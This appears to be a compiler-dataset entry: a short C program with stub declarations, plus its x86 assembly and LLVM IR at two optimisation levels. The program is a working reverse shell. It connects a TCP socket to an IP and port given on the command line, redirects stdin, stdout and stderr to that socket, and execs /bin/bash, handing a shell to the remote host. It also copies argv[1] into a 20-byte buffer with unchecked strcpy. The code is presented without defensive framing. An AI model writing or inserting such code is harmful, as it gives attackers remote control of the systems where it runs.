#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int atoi(char *);
int connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execlp(char *, char *, int /*<<< orphan*/ *);
int fork();
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ printf(char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ strcpy(char *, char *);
int /*<<< orphan*/ wait(int /*<<< orphan*/ *);
int main(int argc, char *argv[]) {
  int socket_info, pid, connection, port = atoi(argv[2]);
  struct sockaddr_in info;
  char ip[20];
  strcpy(ip, argv[1]);
  socket_info = socket(AF_INET, SOCK_STREAM, 0);
  info.sin_family = AF_INET;
  info.sin_port = htons(port);
  info.sin_addr.s_addr = inet_addr(ip);
  connection =
      connect(socket_info, (struct sockaddr *)&info, sizeof(struct sockaddr));
  if ((pid = fork()) < 0)
    printf("Fork Failed\n");
  else if (pid > 0)
    wait(NULL);
  else {
    dup2(socket_info, 0);
    dup2(socket_info, 1);
    dup2(socket_info, 2);
    execlp("/bin/bash", "/bin/bash", NULL);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1080 <atoi@plt>
mov    %eax,-0x20(%rbp)
lea    -0x50(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
call   1030 <strcpy@plt>
mov    0x2dfa(%rip),%rax
mov    (%rax),%edi
mov    0x2de1(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,-0x14(%rbp)
mov    0x2dde(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
mov    -0x20(%rbp),%edi
call   1040 <htons@plt>
mov    %eax,-0x2c(%rbp)
lea    -0x50(%rbp),%rdi
call   1070 <inet_addr@plt>
mov    %eax,-0x30(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x30(%rbp),%rsi
mov    $0x4,%edx
call   1090 <connect@plt>
mov    %eax,-0x1c(%rbp)
mov    $0x0,%al
call   10c0 <fork@plt>
mov    %eax,-0x18(%rbp)
cmp    $0x0,%eax
jge    125e <main+0xae>
lea    0xdac(%rip),%rdi
call   1060 <printf@plt>
jmp    12b2 <main+0x102>
cmpl   $0x0,-0x18(%rbp)
jle    1276 <main+0xc6>
xor    %eax,%eax
mov    %eax,%edi
call   10b0 <wait@plt>
jmp    12ad <main+0xfd>
mov    -0x14(%rbp),%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
lea    0xd6c(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
mov    %rsi,%rdi
call   10a0 <execlp@plt>
jmp    12b2 <main+0x102>
mov    -0x4(%rbp),%eax
add    $0x50,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x28,%rsp
mov    %rsi,%rbx
mov    0x10(%rsi),%rdi
call   1080 <atoi@plt>
mov    %eax,%ebp
mov    0x8(%rbx),%rsi
lea    0x10(%rsp),%r14
mov    %r14,%rdi
call   1030 <strcpy@plt>
mov    0x2e08(%rip),%rbx
mov    (%rbx),%edi
mov    0x2def(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,%r15d
mov    (%rbx),%eax
mov    %eax,0x8(%rsp)
mov    %ebp,%edi
call   1050 <htons@plt>
mov    %eax,0x4(%rsp)
mov    %r14,%rdi
call   1070 <inet_addr@plt>
mov    %eax,(%rsp)
mov    %rsp,%rsi
mov    %r15d,%edi
mov    $0x4,%edx
call   1090 <connect@plt>
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
js     1237 <main+0x87>
je     1245 <main+0x95>
xor    %edi,%edi
call   10b0 <wait@plt>
jmp    127a <main+0xca>
lea    0xdcc(%rip),%rdi
call   1040 <puts@plt>
jmp    127a <main+0xca>
mov    %r15d,%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    %r15d,%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    %r15d,%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
lea    0xd90(%rip),%rdi
mov    %rdi,%rsi
xor    %edx,%edx
call   10a0 <execlp@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [13 x i8] c"Fork Failed\0A\00"
@.str.1 = [10 x i8] c"/bin/bash\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca %struct.sockaddr_in
%11 = alloca [20 x i8]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%12 = load i8**, i8*** %5
%13 = getelementptr inbounds i8*, i8** %12, i64 2
%14 = load i8*, i8** %13
%15 = call i32 @atoi(i8* %14)
store i32 %15, i32* %9
%16 = getelementptr inbounds [20 x i8], [20 x i8]* %11, i64 0, i64 0
%17 = load i8**, i8*** %5
%18 = getelementptr inbounds i8*, i8** %17, i64 1
%19 = load i8*, i8** %18
%20 = call i32 @strcpy(i8* %16, i8* %19)
%21 = load i32, i32* @AF_INET
%22 = load i32, i32* @SOCK_STREAM
%23 = call i32 @socket(i32 %21, i32 %22, i32 0)
store i32 %23, i32* %6
%24 = load i32, i32* @AF_INET
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 2
store i32 %24, i32* %25
%26 = load i32, i32* %9
%27 = call i32 @htons(i32 %26)
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 1
store i32 %27, i32* %28
%29 = getelementptr inbounds [20 x i8], [20 x i8]* %11, i64 0, i64 0
%30 = call i32 @inet_addr(i8* %29)
%31 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 0
%32 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %31, i32 0, i32 0
store i32 %30, i32* %32
%33 = load i32, i32* %6
%34 = bitcast %struct.sockaddr_in* %10 to %struct.sockaddr*
%35 = call i32 @connect(i32 %33, %struct.sockaddr* %34, i32 4)
store i32 %35, i32* %8
%36 = call i32 (...) @fork()
store i32 %36, i32* %7
%37 = icmp slt i32 %36, 0
br i1 %37, label %38, label %40
38: ; preds = %2
%39 = call i32 @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
br label %54
40: ; preds = %2
%41 = load i32, i32* %7
%42 = icmp sgt i32 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %40
%44 = call i32 @wait(i32* null)
br label %53
45: ; preds = %40
%46 = load i32, i32* %6
%47 = call i32 @dup2(i32 %46, i32 0)
%48 = load i32, i32* %6
%49 = call i32 @dup2(i32 %48, i32 1)
%50 = load i32, i32* %6
%51 = call i32 @dup2(i32 %50, i32 2)
%52 = call i32 @execlp(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32* null)
br label %53
53: ; preds = %45, %43
br label %54
54: ; preds = %53, %38
%55 = load i32, i32* %3
ret i32 %55
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.1 = [10 x i8] c"/bin/bash\00"
@str = [12 x i8] c"Fork Failed\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca [20 x i8]
%5 = getelementptr inbounds i8*, i8** %1, i64 2
%6 = load i8*, i8** %5
%7 = tail call i32 @atoi(i8* %6)
%8 = bitcast %struct.sockaddr_in* %3 to i8*
%9 = getelementptr inbounds [20 x i8], [20 x i8]* %4, i64 0, i64 0
%10 = getelementptr inbounds i8*, i8** %1, i64 1
%11 = load i8*, i8** %10
%12 = call i32 @strcpy(i8* %9, i8* %11)
%13 = load i32, i32* @AF_INET
%14 = load i32, i32* @SOCK_STREAM
%15 = call i32 @socket(i32 %13, i32 %14, i32 0)
%16 = load i32, i32* @AF_INET
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %16, i32* %17
%18 = call i32 @htons(i32 %7)
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %18, i32* %19
%20 = call i32 @inet_addr(i8* %9)
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0, i32 0
store i32 %20, i32* %21
%22 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%23 = call i32 @connect(i32 %15, %struct.sockaddr* %22, i32 4)
%24 = call i32 (...) @fork()
%25 = icmp slt i32 %24, 0
br i1 %25, label %26, label %28
26: ; preds = %2
%27 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @str, i64 0, i64 0))
br label %37
28: ; preds = %2
%29 = icmp eq i32 %24, 0
br i1 %29, label %32, label %30
30: ; preds = %28
%31 = call i32 @wait(i32* null)
br label %37
32: ; preds = %28
%33 = call i32 @dup2(i32 %15, i32 0)
%34 = call i32 @dup2(i32 %15, i32 1)
%35 = call i32 @dup2(i32 %15, i32 2)
%36 = call i32 @execlp(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32* null)
br label %37
37: ; preds = %30, %32, %26
ret i32 0
}